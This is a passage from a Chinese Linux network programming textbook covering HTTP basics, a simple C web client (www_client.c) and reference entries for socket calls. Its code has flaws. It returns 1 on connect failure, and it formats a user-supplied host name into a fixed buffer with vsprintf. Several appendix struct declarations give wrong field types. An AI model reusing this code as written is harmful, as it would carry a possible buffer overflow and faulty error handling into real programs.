是继电报、电话发明以来人类通讯方式的又一次革命。 WWW 的飞速发展和广泛应用得宜于其提供的大量服务,这些服务为 人们的信息交 流带来了极大的便利。WWW 的含义是(World Wide Web,环球信息网),是一个基于超文 本方式的信息查询方式。WWW 是由欧洲粒子物理研究中心(CERN)研制的。通过超文 本方式将 Internet 上不同地址的信息有机的组织在一起,WWW 提供了一个友好的界面, 大大方便了人们的信息浏览,而且 WWW 方式仍然可以提供传统的 Internet 服务,如 FTP、 Gopher、News、E-Mail 等。 14.2 HTTP 客户请求 WWW 访问是标准的客户端/服务器模式。下面我们分别阐述一下它们。 14.2.1 客户端 在一个使用者的观点来看,Web 上面有丰富的图象文字多媒体信息。一般来说简称为 “ 页面”。每个页面都包含指向其他页面的“ 连接”,“ 连接” 指向的页面可以存储与世界 的任意的地方。使用者可以通过点击这个连接,浏览连接所指向的页面。而新的页面又存 在许多连接,使用者又可以继续点击下去。包含这种连接的页面称为“ 超文本”(hypertext)。 用户浏览页面所使用的程序成为“ 浏览器”(Browser)。现在 Netscape 和Internet Explorer 是最常用的两种浏览器。一个浏览器发出一个取得页面的请求,然后解释页面中存在的控 制命令,将页面显示出来。一个页面包含一个“ 标题” 和一些信息。页面中可以连接到其 他页面的字符串被称为“ 超文本链接”。它一般都包含下划线。当我们把光标(或是鼠标 箭头)移动到超文本链接上并且按“ 回车”(或是点击鼠标左键)的时候,浏览器就会去 取代表这个超文本链接的页面。 14.2.2 服务器端 每一个 Web 服务器上面都运行着一个侦听 TCP 的 80 端口的进程来等待来自客户端的 HTTP 请求(一般来说,都是 Web Browser 发出这个请求)。当一个连接发生的时候,客户 第 14 章 www 上 http 协议 - 291 - 端发送一个请求,当服务器收到这个请求后,服务器将会将客户端所请求的数据返回客户 端。在这之后,这个连接就结束了。定义了请求和回应规则的协议称为"HTTP"。我们 在下面将会学习有关它的一些知识。图 14-1 大致表示出了一个 HTTP 请求的过程。 图 14-1 HTTP 请求的过程 14.2.3 Web请求简介 在这个例子中,使用者点击有超文本链接的文字或图象,然后浏览器就将超文本链接 所代表的 URL ( Uniform Resource Locator )显示出来。 URL 由下面这三部分构成:(以HTTP://www.aka.citf.net/index.html 为例) 最前面的是协议的名字,比如"HTTP://"。 后面跟着的是存放页面的服务器名字(也可以是 IP),我们这里的服务器名字为" www.aka.citf.net "。 后面跟着的为页面在服务器上面存放的绝对路径。上例中的页面路径为 /index.html。 最后还可能跟着提供服务的服务器端口。(可以省略,因为每一个协议都有自己 的标准端口。因此只有一个服务器没有使用标准的端口提供服务,我们才需要自己指定这 个端口。 一般来说,一个浏览器被使用者选中了一个超文本链接后,发生了如下几步操作: 1.浏览器中的某个 URL 被使用者选中。 2.浏览器使用 DNS 查询 URL 中域名所代表的 IP。 3.DNS 发回一个回应,通知浏览器所查询域名所代表的 IP。 4.浏览器通过 TCP 协议连接到 Web 服务器的 80 端口(如果使用缺省不指定特殊端 口的话)。 5.浏览器向 Web 服务器发送一个 GET HTTP://aka.citf.net/index.html请求。 - 292 - Linux网络编程 6.Web 服务器将 index.html 发送回来。 7.浏览器结束这个 TCP 连接。 8.浏览器将 index.html 这个页面显示出来。 9.浏览器将 index.html 中包含的图象,声音等也下载,显示,播放。 许多浏览器对于它所进行的每一部分工作都会显示在它窗口下面的状态条中。这样, 当浏览速度非常慢的时候,你就可以知道究竟是哪一部分出了问题:或者是 DNS 解析不 出 IP,还是连接不上 Web 服务器。 值得一提的是页面中的多媒体文件,比如图片。浏览器对于页面中的每一个图片都会 建立一个新的 TCP 连接来进行获取操作,如果页面中有许许多多的图象,那么浏览器就会 建立许多 TCP 连接来取得这些图象。 HTTP 是一种 ASCII 的协议,就像 SMTP 一样。这样,我们就可以非常简单的使用一 个 Telnet 来和 Web 服务器进行交互:连接到服务器的 80 端口。在下面我们看一个简单的 例子(下面各行以 C: 开头的为我们客户端的输入,而以 S: 开头的是 Web 服务器的回应)。 [zixia@bbs zixia]$ telnet localhost 80 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is ‘^)’. C: GET / HTTP/1.0 S: HTTP/1.1 200 OK S: Date: Sat, 24 Jul 1999 14:24:27 GMT S: Server: Apache/1.3.6 (UNIX) (Red Hat/Linux) mod_perl/1.19 S: Last-Modified: Wed, 07 Apr 1999 21:17:54 GMT S: ETag: “d5802-799-370bcb82” S: Accept-Ranges: bytes S: Content-Length: 1945 S: Connection: close S: Content-Type: text/html S: S: <!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 3.2 Final//EN”> S: <HTML> S: <HEAD> S: <TITLE>Test Page for Red Hat Linux’s Apache Installation</TITLE> S: </HEAD> S: <!-- Background white, links blue (unvisited), navy (visited), red (active) --> S: <BODY S: BGCOLOR=”#FFFFFF” S: TEXT=”#000000” S: LINK=”#0000FF” S: VLINK=”#000080” S: ALINK=”#FF0000” 第 14 章 www 上 http 协议 - 293 - S: > S: <H1 ALIGN=”CENTER”>It Worked!</H1> S: <P> S: If you can see this, it means that the installation of the S: <A S: HREF=”http://www.apache.org/” S: >Apache</A> S: software on this <a href=”http://www.redhat.com/”>Red Hat Linux</a> system was S: successful. You may now add content to S: this directory and replace this page. S: </P> S: <HR WIDTH=”50%” SIZE=”8”> S: <BLOCKQUOTE> S: If you are seeing this instead of the content you expected, please S: <STRONG>contact the administrator of the site involved.</STRONG> If S: you send mail about this to the authors of the Apache software or Red S: Hat Software, who almost S: certainly have nothing to do with this site, your message will be S: <STRONG><BIG>ignored</BIG></STRONG>. S: </BLOCKQUOTE> S: <HR WIDTH=”50%” SIZE=”8”> S: <P> S: The Apache S: <A S: HREF=”manual/index.html” S: >documentation</A> S: has been included with this distribution. <p>For documentation S: and information on Red Hat S: Linux, please visit the web site of <a href=”http://www.redhat.com/”>Red S: Hat Software</a>. The manual for Red Hat Linux is available <a S: href=”http://www.redhat.com/manual”>here</a>. S: </P> S: <P> S: You are free to use the image below on an Apache-powered web S: server. Thanks for using Apache! S: </P> S: <P ALIGN=”CENTER”> S: <a href=”http://www.apache.org/”><IMG SRC=”/icons/apache_pb.gif” S: ALT=”[ Powered S: by Apache ]”></a> - 294 - Linux网络编程 S: </P> S: You are free to use the image below on a Red Hat Linux-powered web S: server. Thanks for using Red Hat Linux! S: <p align=”center”> S: <a href=”http://www.redhat.com/”><img src=”poweredby.gif” alt=”[ Powered S: by Red Hat Linux ]”></a> S: </p> S: </BODY> S: </HTML> Connection closed by foreign host. [zixia@bbs zixia]$ _ 我们这样使用的时候,记得在 GET 和 URL 中间一定要有空格,在 URL 和 HTTP/1.0 中间也要留有空格。而且最后一定要按两下回车,也就是要多出一个空行来。(这些都是 HTTP 协议所规定的格式) 注:上面的信息可能由于各种原因(比如你的机器的 WWW ROOT 目录不同)而不同, 但是取得页面的方法是一样的。 这个例子中,是我们自己连接的 Web 服务器(而不是 Web 浏览器),我们首先连接到 了 Web 服务器的 80 端口,然后发送一条请求某个页面的命令( GET … ),并在后面附 上了协议的版本号( HTTP/1.0 )。然后服务器的应答发送给我们一条消息:200 OK。200 代表一切正常,没有发现错误。这条应答下面的信息是符合 RFC 822 的说明 MIME 的信息。 下面跟着一行空白,代表 HTTP 信息头结束,空白下面的就是你所请求的页面数据了。Web 服务器如果想发送一个图片,那么 MIME 的信息头可能是下面这样: Content-Type: Image/GIF 通过这个方法,使用 MIME 类型可以允许通过 HTTP 协议传送不同的文件类型。 HTTP 浏览器可以同时支持其他协议,比如 FTP,GOPHER 等协议。但是在浏览器上 支持他们可能会使浏览器代码体积变的蠢笨。HTTP Proxy 可以解决这个问题。现在来说, 大多数使用者只是在通过 HTTP Proxy 传递 HTTP 中转指令(比如教育网内,出国要收费, 所以大多数时候人们都是通过 HTTP Proxy 来浏览国外的 Web 站点)。但是 Proxy 有另外一 个用处就是它可以帮助 Web 浏览器来传输 FTP,Gopher 站点,而浏览器并不用再去支持 FTP,Gopher 协议(图 14-2)。 这样,我们就可以使用浏览器来浏览一般情况下浏览器所不支持的协议站点。浏览器 所能够浏览的范围通过 Proxy 的支持变的更加宽广了。当然,这样的 Proxy 需要支持各种 各样的协议。 HTTP 的 Proxy 服务器还支持缓存。它的意思是如果你曾经通过 Proxy 传输过一个页 面(或是一个多媒体文件),则 Proxy 会将数据存放在它的缓存区中。当你以后在去取相同 的页面(或是多媒体文件)的时候,Proxy 服务器就会在它的缓存区中发现这个文件,可 以直接将缓存中的数据发送给你。这样就节省了在去其他服务器取页面(或多媒体文件) 的时间和带宽。 代理服务器还可以做访问限制。这点特性可以方便的控制一个局域网内部的访问范 围。比如一个学校内部通过一个 Proxy 上网,那么学校就可以设置 Proxy 不允许访问一些 第 14 章 www 上 http 协议 - 295 - 站点(比如HTTP://www.playboy.com )。这样当一个浏览器向 Proxy 发送一个取得信息的 请求,Proxy 服务器可以自己做出判断,从而决定是否允许这个请求。 图 14-2 HTTP Proxy 服务器 14.2.4 HTTP – HyperText Transfer Protocol 超文本传输协议 标准的 Web 传输协议是 HTTP 协议(HyperText Transfer Protocol)。它定义每一次交互 过程都是一个字符请求,然后紧跟着由 RFC 822 MIME 的应答。虽然使用 TCP 连接进行 传输数据非常常用,但是 HTTP 协议也可以使用 TCP 协议以外的连接。 HTTP 还在发展之中,现在正在使用的有好几种 HTTP 协议,而且还有其他的版本正 在开发之中。下面我们将要谈论的 HTTP 协议,是那些最基本的,并且已经基本决定下来 不再做变更的一些命令(需要注意的是各个版本之间可能会有一些很小的区别)。 HTTP 协议清楚的分为两部分:从浏览器向服务器发送的请求集合和服务器送往浏览 器的应答集合。下面我们分别讨论他们: 所有新版本的 HTTP 协议支持两种不同的请求格式: 简单请求方式和完全请求方式。 简单请求方式:它发送的请求数据的字符串只包含一个 GET 行,指明要取的页 面地址。没有注明 HTTP 协议的版本号。它所获得的服务器的回应数据只包含它所请求页 面的数据,没有任何 HTTP 信息头,也没有 MIME 信息。想对它进行测试的话,你可以试 试 telnet zixia.citf.net 80 然后输入 GET /index.html 但是并不在 GET 的末尾输入 HTTP 协议 的版本号。返回的页面将不包含任何的 HTTP 信息头和 MIME 信息说明,直接就是你所期 望的页面的数据。 完全请求方式:它在发送请求页面的 HTTP 信息的时候,在 GET 命令行的末尾 要添加上 HTTP 协议的版本号。请求信息可以包含很多行的数据,最后跟着的是一个空行, 代表 HTTP 请求数据头的结束。完全请求方式的第一行是包含命令的一行(这一行中的命 令以 "GET" 最常见,但是它也可以是其他命令),后面跟着你想得到的页面的地址, 最后是 HTTP 协议的版本号。在后面的行中是在 RFC 822 中定义过的其他信息。 虽然 HTTP 协议是由使用 WEB 而被设计出来的,但是现在它已经发展到了很多领域, 所以它在定义的时候就为将来的使用多定义了一些命令。在完全请求方式中,第一行的第 - 296 - Linux网络编程 一个单词被称为"方法"( Method 或 Command ),它用来定义对 Web 的访问方法。当 你需要获取一个页面的时候,你可以根据需要使用各种 HTTP 协议的"方法"。下面给出 几个"方法"的列表,注意他们是区分大小写的。 表 14-1 HTTP 方法 方法 方法的描述 GET 发出读取一个 Web 页面的请求 HEAD 发出读取一个 Web 页面头部的信息 PUT 发出存储一个 Web 页面信息的指令 POST 为一个已经被命名的文件添加信息 DELETE 删除一个 Web 页面 LINK 连接上两个存在的资源 UNLINK 将已经连上资源的连接终止 GET 方法 GET 方法向服务器发出获取一个页面的请求(或是将“ 页面” 换成“ 实体”,这样可 以代表更一般的情况),要得到经过 MIME 编码的数据。如过在 GET 命令后面加上一个 “ If-Modified-Since” 信息头,则服务器只发送在指定的日期后有改动过的数据。使用这种 机制,浏览器可以查询是否服务器上面存放的页面比自己的缓存区中存放的页面新,从而 决定是否去从新下载。 HEAD 方法 HEAD 方法只向服务器请求信息头,并不请求真正的数据。这个帮法可以帮助浏览器 得到页面的一些信息(比如最后更新日期),收集服务器页面上的索引,或者只是用来测 试是否存在这个页面。 PUT 方法 PUT 方法和 GET 方法正好相反,它不是读取一个页面,而是写入一个页面。这个方 法可以帮助你在远程机器上面建立页面。它的后面跟着真正的数据信息(允许进行 MIME 编码),而这些信息将被服务器写入磁盘(如果允许的话)。PUT 的 MIME 编码和 PUT 一 样。 POST 方法 POST 方法和 PUT 方法有些相仿。但是不同的是,POST 方法是将信息"添加"到以 有页面后(可以作为参数),而 PUT 是"替换"或"新生成"一个页面。将一条信息 POST 到新闻组或向 WEB 的讨论区添加一篇文章都是 POST 方法的例子。 DELETE 方法 也许你已经猜到了⋯ ⋯ DELETE 方法删除一个页面。像 PUT 一样,它需要身份认证 和服务器对这个身份的授权。使用这个命令要特别注意,没有任何迹象会告诉你 DELETE 操作成功。即使远程的 Web 服务器已经同意你进行 DELETE 操作,也不一定会成功。因 为文件可能拥有 Web 服务器无法删除的模式。 LINK 和 UNLINK方法 它们允许你在从一个页面连接到另外一个页面。 每一个请求都得到一个包含状态信息的回应,也许还有附加的信息。(比如:页面的 第 14 章 www 上 http 协议 - 297 - 全部或是它的一部分)状态信息可能是 200 代码(代表一切正常,未发生错误),或是其 他的错误代码(比如 304:未更改;400:无效请求;403:禁止访问)。 HTTP 的标准描述信息头和信息体的详细定义可以参考 RFC 822 MIME 信息。 14.3 Web编程 我们现在已经了解一个访问 WWW 的浏览器是如何于一个 Web 服务器进行交互的了。 那么我们就可以借助以前我们将的套接字编程,自己来写一个简单的 WWW 浏览器程序。 浏览器程序介绍: 使用方法:www_client Web_Server_Host 显示:它只能将 HTML 原码显示出来,所以实际上,它应该叫做 WWW 超文本 原码浏览器。 www_client.c 源码: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdarg.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> /* 建立一个 HTTP TCP 连接的辅助函数 */ int htconnect (char *domain,int port ) { int white_sock; struct hostent * site; struct sockaddr_in me; site = gethostbyname(domain); if (site==NULL) { return -2; } white_sock = socket (AF_INET, SOCK_STREAM, 0 ) ; if (white_sock<0) { return -1; } - 298 - Linux网络编程 memset(&me,0,sizeof(struct sockaddr_in)); memcpy(&me.sin_addr,site->h_addr_list[0],site->h_length); me.sin_family = AF_INET; me.sin_port = htons(port); return (connect (white_sock,(struct sockaddr*)&me,sizeof(struct sockaddr))<0 ) ? 1 : white_sock ; } /* 发送 HTTP 信息头的辅助函数 */ int htsend(int sock,char *fmt,...) { char BUF[1024]; va_list argptr; va_start(argptr,fmt); vsprintf(BUF,fmt,argptr); va_end(argptr); return send(sock,BUF,strlen(BUF),0) ; } void main(int argc,char **argv) { int black_sock; char bugs_bunny[3]; if (argc<2) { printf ( “Usage:\n\twww_client host\n” ) ; return ; } black_sock = htconnect(argv[1],80); if (black_sock<0) { printf ( “Socket Connect Error!\n” ) ; return ; } htsend(black_sock,”GET / HTTP/1.0%c”,10); htsend(black_sock,”Host: %s%c”,argv[1],10); 第 14 章 www 上 http 协议 - 299 - htsend(black_sock,”%c”,10); while (read(black_sock,bugs_bunny,1)>0) { printf(“%c”,bugs_bunny[0]); } close(black_sock); } 下面我们来编译这个程序: root@bbs#gcc –o www_client www_client.c root@bbs#_ 我们来执行它: root@bbs#www_client localhost 在我的 RedHat 6.0 的机器上,它将会连接到自己的 80 端口,而缺省的 RedHat 的 Web 页面是 Apache Web 服务器的测试页,在我的机器上面显示结果大致如下: root@bbs# ./www_client localhost HTTP/1.1 200 OK Date: Fri, 23 Jul 1999 20:22:56 GMT Server: Apache/1.3.6 (UNIX) (Red Hat/Linux) mod_perl/1.19 Last-Modified: Wed, 07 Apr 1999 21:17:54 GMT ETag: "d5802-799-370bcb82" Accept-Ranges: bytes Content-Length: 1945 Connection: close Content-Type: text/html <!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 3.2 Final//EN”> <HTML> <HEAD> <TITLE>Test Page for Red Hat Linux’s Apache Installation</TITLE> </HEAD> <!-- Background white, links blue (unvisited), navy (visited), red (active) --> <BODY BGCOLOR=”#FFFFFF” TEXT=”#000000” LINK=”#0000FF” VLINK=”#000080” ALINK=”#FF0000” > <H1 ALIGN=”CENTER”>It Worked!</H1> <P> - 300 - Linux网络编程 If you can see this, it means that the installation of the <A HREF=”http://www.apache.org/” >Apache</A> software on this <a href=”http://www.redhat.com/”>Red Hat Linux</a> system was successful. You may now add content to this directory and replace this page. </P> <HR WIDTH=”50%” SIZE=”8”> <BLOCKQUOTE> If you are seeing this instead of the content you expected, please <STRONG>contact the administrator of the site involved.</STRONG> If you send mail about this to the authors of the Apache software or Red Hat Software, who almost certainly have nothing to do with this site, your message will be <STRONG><BIG>ignored</BIG></STRONG>. </BLOCKQUOTE> <HR WIDTH=”50%” SIZE=”8”> <P> The Apache <A HREF=”manual/index.html” >documentation</A> has been included with this distribution. <p>For documentation and information on Red Hat Linux, please visit the web site of <a href=”http://www.redhat.com/”>Red Hat Software</a>. The manual for Red Hat Linux is available <a href=”http://www.redhat.com/manual”>here</a>. </P> <P> You are free to use the image below on an Apache-powered web server. Thanks for using Apache! </P> <P ALIGN=”CENTER”> <a href=”http://www.apache.org/”><IMG SRC=”/icons/apache_pb.gif” ALT=”[ Powered by Apache ]”></a> </P> You are free to use the image below on a Red Hat Linux-powered web server. Thanks for using Red Hat Linux! <p align=”center”> 第 14 章 www 上 http 协议 - 301 - <a href=”http://www.redhat.com/”><img src=”poweredby.gif” alt=”[ Powered by Red Hat Linux ]”></a> </p> </BODY> </HTML> root@bbs#_ 好了,我们现在已经可以取得一台服务器的首页了。如果你有兴趣,可以对 HTML 超 文本进行分析,然后在屏幕上像 Netscape 或 Internet Expoler 那样画出页面来。 14.4 小结 在这章中,我们简单的介绍了 Web 的发展,Web 浏览器和服务器的行为,以及 HTTP 协议。最后我们自己写了一个可以取得服务器首页的小程序,来模拟 Web 浏览器的简单行 为。 - 302 - Linux网络编程 附录 A 有关网络通信的服务和网络库函数 accept 系统调用 用法: retcode = accept ( socket, addr, addrlen ) ; 说明: 服务器调用 socket 创建一个套接字,用 bind 指定一个本地 IP 地址和协议端口号,然 后用 listen 使套接字处于被动状态,并设置连接请求队列的长度。accept 从队列中取走下一 个连接请求(或一直在那里等待下一个连接请求的到达),为请求创建一个新套接字,并返 回新的套接字描述符。 accept 只用于流套接字(如 TCP 套接字)。 参数: socket 类型为 int,,含义是是由 socket 函数创建的一个套接字描述符。 addr 类型为&sockaddr,含义是一个地址结构的指针。accept 在该结构中填入远程 机器的 IP 号和协议端口号。 addrlen 类型为&int 含义是一个整数指针,初始指定为 sockaddr 参数的大小,当调 用返回十,指定为存储在 addr 中的字节数。 返回码: accept 成功时返回一个非负套接字描述符。发生错误的时候返回 –1。 当发生错误时,全局变量 errno 含有如下值之一: EBADF 错误原因是第一个参数未指定合法的描述符。 ENOTSOCK 错误原因是第一个参数未指定一个套接字描述符 EOPNOTSUPP 错误原因是套接字类型不是 SOCK_STREAM。 EFAULT 错误原因是第二个参数中的指针非法 EWOULDBLOCK 错误原因是套接字被标记为非阻塞的,且没有正等待连接的 联入请求。 bind 系统调用 用法: retcode = bind ( socket, localaddr, addrlen ) ; 说明: bind 为一个套接字指明一个本地 IP 和协议端口号。 bind 主要由服务器使用,它需要 指定一个知名协议口。 参数: socket 类型为 int,含义是由 socket 调用创建一个套接字描述符 localaddr 类型为&sockaddr,含义是一个地址结构,指定一个 IP 地址和协议端口 附录 A 有关网络通信的服务和网络库函数 - 303 - 号 addrlen 类型为 int,含义是地址结构的字节数大小。 返回码: bind 若成功则返回 0 ,返回 –1 表示发生了错误。当错误发生时,全局变量 errno 含 有下面的错误代码: EBADF 错误原因是第一个参数未指定合法的描述符。 ENOTSOCK 错误原因是第一个参数未指定一个套接字描述符 EADDRNOTAVAIL 错误原因是指明的地址不可用(比如一个 IP 地址与本地接 口不匹配) EADDRINUSE 错误原因是指明的地址正在使用(如另外一个进程已经分配了协 议端口) EINVAL 错误原因是套接字已经帮定到一个地址上 EACCES 错误原因是不允许应用程序指明的地址 EFAULT 错误原因是参数 localaddr 中的指针非法 close 系统调用 用法: retcode = close ( socket ) ; 说明: 应用程序使用完一个套接字后调用 close 。close 文明的中止通信,并删除套接字。任 何正在套接字上等待被读取的数据都将被丢弃。 实际上,Linux 实现了引用计数器制,它允许多个进程共享一个套接字。如果 n 个进 程共享一个套接字,引用计数器将为 n 。close 每被一个进程调用一次,就将引用计数器减 1。一旦引用计数器减到 0 ,套接字将被释放。 参数: socket 类型为 int,含义是将被关闭的套接字描述符 返回值: close 若成果就返回 0 ,如果返回 –1 则代表有错误 fasheng.dang 错误发生时,全局变 量 errno 将含有以下值: EBADF 错误原因是参数 socket 未指定一个合法的描述符 connect 系统调用 用法: retcode = connect ( socket, addr, addrlen ) ; 说明: connect 允许调用者为先前创建的套接字指明远程端点的地址。如果套接字使用了 TCP ,connect 就使用三方握手建立一个连接;如果套接字使用 UDP ,connect 仅指明远 程端点,但不向它传送任何数据报。 - 304 - Linux网络编程 参数: socket 类型为 int,含义是一个套接字的描述符 addr 类型为&sockaddr_in,含义是远程机器端点地址 addrlen 类型为 int,含义是第二个参数的长度 返回值: connect 若成功就返回 0 ,返回 –1 代表发生了错误。当错误发生时,全局变量 errno 含有下面的值: EBADF 错误原因是参数 socket 未指定一个合法的描述符 ENOTSOCK 错误原因是参数 socket 未指定一个套接字描述符 EAFNOSUPPORT 错误原因是远程端点指定的地址族不能与这种类型的套接字 一起使用 EADDRNOTAVAIL 错误原因是指定的地址不可用 EISCONN 错误原因是套接字已被连接 ETIMEDOUT 错误原因是(只用于 TCP)协议因未成功建立一个连接而超时 ECONNREFUSED 错误原因是(只用于 TCP)连接被远程机器拒绝 ENETUNREACH 错误原因是(只用于 TCP)网络当前不可到达 EADDRINUSE 错误原因是指定的地址正在使用 EINPROGRESS 错误原因是(只用于 TCP)套接字是非阻塞的,且一个连接尝 试将北阻塞 EALREADY 错误原因是(只用于 TCP)套接字是非阻塞的,且调用将等待前一 个连接尝试完成 fork 系统调用 用法: retcode = fork () ; 说明: 虽然 fork 并不于套接字通信直接相关,但是由于服务器使用它创建并发的进程,因此 它很重要。 fork 创建一个新进程,执行与原进程相同的代码。两个进程共享在调用 fork 时 已打开的所有套接字和文件描述符。两个进程有不同的进程标识符和不同的父进程标识符。 参数: 没有任何参数 返回值: 如果成功,fork 给子进程返回 0 ,给父进程返回子进程的进程标识符(非零)。如果 发生了错误,它将返回 –1 。全局变量可能是下面的值: EAGAIN 错误原因是已经达到了系统限制的进程总数,或已经达到了对每个用 户的进程限制。 ENOMEM 错误原因是系统没有足够的内存用于新进程。 gethostbyaddr 库函数 附录 A 有关网络通信的服务和网络库函数 - 305 - 用法: retcode = gethostbyaddr ( addr, len, type ) ; 说明: gethostbyaddr 搜索关于某个给定 IP 地址的主机信息。 参数: addr 类型为&char,含义是指向一个数组的指针,该数组含有一个主机地址(如 IP 地址) len 类型为 int,含义是一个整数,它给出地址长度(IP 地址长度是 4) type 类型为 int,含义是一个整数,它给出地址类型(IP 地址类型为 AF_INET) 返回值: gethostbyaddr 如果成功,返回一个 hostent 结构的指针。如果发生错误,返回 0 。 hostent 结构声明如下: struct hostent { /* 一个主机项 */ char h_name ; /* 正式主机名 */ char h_aliases[] ; /* 其它别名列表 */ int h_addrtype ; /* 主机地址类型 */ int h_length ; /* 主机地址长度 */ char **h_addr_list /* 主机地址列表 */. } ; 当发生错误时,全局变量 h_errno 中含有下列值之一: HOST_NOT_FOUND 错误原因是不知道所指定的名字 TRY_AGAIN 错误原因是暂时错误:本地服务器现在不能于授权机构联系 NO_RECOVERY 错误原因是发生了无法恢复的错误。 NO_ADDRESS 错误原因是指明的名字有效,但是它无法于某个 IP 地址对应 gethostbyname 库调用 用法: retcode = gethostbyname ( name ) ; 说明: gethostbyname 将一个主机名映射为一个 IP 地址。 参数: name 类型为&char,含义是一个含有主机名字符串的地址 返回值: gethostbyname 如果成功就返回一个 hostent 结构的指针,如发生错误则返回 0 。hostent 结构声明为: struct hostent { /* 一个主机项 */ - 306 - Linux网络编程 char h_name ; /* 正式主机名 */ char h_aliases[] ; /* 其它别名列表 */ int h_addrtype ; /* 主机地址类型 */ int h_length ; /* 主机地址长度 */ char **h_addr_list /* 主机地址列表 */. } ; 当发生错误时,全局变量 h_errno 含有下列值之一: HOST_NOT_FOUND 错误原因是不知道所指定的名字 TRY_AGAIN 错误原因是暂时错误:本地服务器 NO_RECOVERY 错误原因是发生了无法恢复的错误。 NO_ADDRESS 错误原因是指明的名字有效,但是它无法于某个 IP 地址对应 gethostid 系统调用 用法: hostid = gethostid () ; 说明: 应用程序调用 gethostid 以获取指派给本地机器的唯一的 32 位的主机标识符。通常, 主机标识符是机器的主 IP 地址。 参数: 没有任何参数 返回值: gethostid 返回一个含有主机标识符的长整数。 gethostname 系统调用 用法: retcode = gethostname ( name, namelen ) ; 说明: gethostname 用文本字符串的形式返回本地机器的主名字。 参数: name 类型为&char,含义是放置名字的字符数组的地址 namelen 类型为 int,含义是名字数组的长度(至少应该为 65) 返回值: 若 gethostname 成功则返回 0 ,若发生错误则返回 –1 。当发生错误十,全局变量 errno 含有以下值: EFAULT 错误原因是 name 或 namelen 参数不正确 getpeername 系统调用 附录 A 有关网络通信的服务和网络库函数 - 307 - 用法: retcode = getpeername ( socket, remaddr, addrlen ) ; 说明: 应用程序使用 getpeername 获取以建立连接的套接字的远程端点的地址。通常,客户 机调用 connect 时设置了远程端点的地址,所以它知道远程地址。但是,使用 accept 获得 连接的服务器,可能需要查询套接字来找出远程地址。 参数: socket 类型为 int,含义是一个由 socket 函数创建的套接字描述符 remaddr 类型为&sockaddr,含义是一个含有对端地址的 sockaddr 结构的指针。 addrlen 类型为&int,含义是一个整数指针,调用前,该函数含有第二个参数的长 度,调用后该整数含有远程端点地址的实际长度。 返回值: getpeername 如果成功则返回 0 ,如果发生错误则返回 –1 。当发生错误的时候,全 局变量 errno 含有如下值之一: EBADF 错误原因是第一个参数未指定一个合法的描述符 ENOTSOCK 错误原因是第一个参数未指定一个套接字描述符 ENOTCONN 错误原因是套接字不是一个已经连接的套接字 ENOBUFS 错误原因是系统没有足够的资源完成操作 EFAULT 错误原因是 remaddr 参数指针无效 getprotobyname 系统调用 用法: retcode = getprotobyname ( name ) ; 说明: 应用程序调用 getprotobyname ,以便根据协议名找到该协议正式的整数值。 参数: name 类型为&char,含义是一个含有协议名字的字符串地址 返回值: getprotobyname 如果成功则返回 protoent 类型的指针。如果发生错误则返回 0 。结构 protoent 声明如下: struct protoent { /* 协议描述项 */ char p_name ; /* 协议的正式名 */ char **p_aliases ; /* 协议的别名列表 */ int p_proto ; /* 正式协议号 */ } getservbyname 库调用 - 308 - Linux网络编程 用法: retcode = getservbyname ( name, proto ) ; 说明: getservbyname 根据给出的服务名,从网络服务库中获取该服务的有关信息。客户机和 服务器都调用 getservbyname 将服务名映射为协议端口号。 参数: name 类型为&char,含义是一个含有服务名的字符串指针。 proto 类型为&char,含义是一个含有所用协议名的字符串指针。 返回值: getservbyname 如果成功则返回一个 servent 结构的指针,如果发生错误则返回一个空 指针。servent 结构声明如下: struct servent { /* 服务项 */ char s_name ; /* 正式服务名 */ char **s_aliases ; /* 其它别名列表 */ int s_port ; /* 该服务使用的端口 */ char s_proto ; /* 服务所使用的协议 */ } ; getsockname 系统调用 用法: retcode = getsockname ( socket, name, namelen ) ; 说明: getsockname 获得指定套接字的本地地址。 参数: socket 类型为 int,含义是一个由 socket 创建的描述符 name 类型为&sockaddr,含义是一个含有 IP 地址和套接字协议端口号的结构的指 针 namelen 类型为&int,含义是 name 结构中的字节数,返回时为结构的大小 返回值: getsockname 如果成功则返回 0 ,如果发生错误则返回 –1 。一旦发生错误,全局变 量 errno 中含有如下值之一: EBADF 错误原因是第一个参数没有指定一个合法的描述符 ENOTSOCK 错误原因是第一个参数没有指定一个套接字描述符 ENOBUFS 错误原因是系统中没有足够的缓冲区空间可用 EFAULT 错误原因是 name 或 namelen 的地址不正确 getsockopt 系统调用 附录 A 有关网络通信的服务和网络库函数 - 309 - 用法: retcode = getsockopt ( socket, level, opt, optval, optlen ) ; 说明: getsockopt 允许一个应用获得某个套接字的参数值或该套接字所使用的协议。 参数: socket 类型为 int,含义是一个套接字描述符 level 类型为 int,含义是一个整数,它标识某个协议级 opt 类型为 int,含义是一个整数它标识某个选项 optval 类型为&char,含义是存放返回值的缓冲区地址 optlen 类型为&int,含义是缓冲区大小,返回时为所发现的值的长度。 用于套接字的查究级选项包括: SO_DEBUG 调试信息的状态 SO_REUSEADDR 允许本地地址重用 SO_KEEPALIVE 连接保持状态 SO_DONTROUTE 忽略出报文的选路 SO_LINGER 如果存在数据,延迟关闭 SO_BROADCAST 允许传输广播报文 SO_OOBINLINE 在带内接受带外数据 SO_SNDBUF 输出缓冲区大小 SO_RCVBUF 输入缓冲区大小 SO_TYPE 套接字的类型 SO_ERROR 获取并清楚套接字的上一次出错 返回值: getsockopt 如果成功则返回 0 ,如果发生错误则返回 –1 ,并且 errno 全局变量中含有 如下值之一: EBADF 错误原因是第一个参数未指定一个合法的描述符 ENOTSOCK 错误原因是第一个参数未指定一个套接字描述符 ENOPROTOOPT 错误原因是 opt 不正确 EFAULT 错误原因是 optval 或 optlen 的地址不正确 gettimeofday 系统调用 用法: retcode = gettimeofday ( tm, tmzone ) ; 说明: gettimeofday 从系统中提取当前时间和日期,以及有关本地时区的信息。 参数: tm 类型为&struct timeval,含义是一个 timeval 结构的地址 tmzone 类型为&struct timezone,含义是一个 timezone 结构的地址 两个结构声明如下: - 310 - Linux网络编程 struct timeval { /* 存储时间的结构 */ long tv_sec ; /* 自 1/1/70 以来的秒数 */ long tv_usec ; /* 超过 tv_sec 的毫秒数 */ } ; struct timezone { /* timezone 信息结构 */ int tz_minuteswest ; /* 格林尼治以西的分钟数 */ int tz_dsttime ; /* 所用的校正的类型 */ } ; 返回值: gettimeofday 如果成功则返回 0 ,如果发生错误则返回 